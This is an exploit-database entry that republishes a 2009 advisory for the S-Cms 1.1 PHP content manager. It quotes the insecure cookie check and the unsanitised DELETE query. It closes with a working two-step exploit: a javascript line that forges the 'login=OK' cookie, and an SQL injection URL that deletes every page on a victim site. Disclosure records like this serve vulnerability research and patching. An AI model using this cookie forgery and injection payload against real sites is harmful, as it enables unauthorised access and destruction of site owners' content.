S-Cms 1.1 Stable

vendor:

S-Cms

by:

x0r

7.5

CVSS

HIGH

Insecure Cookie Handling / Mass Page Delete

264

CWE

Product Name: S-Cms

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

An attacker can exploit this vulnerability by setting a cookie with the name 'login' and value 'OK' and then sending a malicious HTTP request to the vulnerable application. This will allow the attacker to delete any page from the application.

Mitigation:

Ensure that the application is validating the cookie values before using them.

Source

Exploit-DB raw data:

#########################################################################################
[0x01] Informations:

Name           : S-Cms 1.1 Stable 
Download       : http://www.hotscripts.com/listings/jump/download/87992/
Vulnerability  : Insecure Cookie Handling / Mass Page Delete
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login_action.php ... /admin/delete_page.php

[Code]

$user=$_POST['username'];
$pass=$_POST['password'];

$select_admin = mysql_query("SELECT * FROM cms_admin");

while($dati_admin=mysql_fetch_array($select_admin)){
$username=$dati_admin['username'];
$password=$dati_admin['password'];
}

if ($user == $username && $pass == $password){
 
   setcookie("login", "OK", time() + $logintime); #0wn3d

[/code]

[CODE]
	
		$id=$_GET['id'];
		
		$delete=mysql_query("DELETE FROM cms_content WHERE id='$id'");
		
		
		if ($delete){
		
		echo ""._DELETE_PAGE_SUCCESS."";
		
		} else {
		
		echo ""._DELETE_PAGE_ERROR."";
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: 1- javascript:document.cookie = "login=OK; path=/"
         2- http://[victim].org/path/admin/delete_page.php?id=' or 1=1/*

########################################################################################

# milw0rm.com [2009-02-17]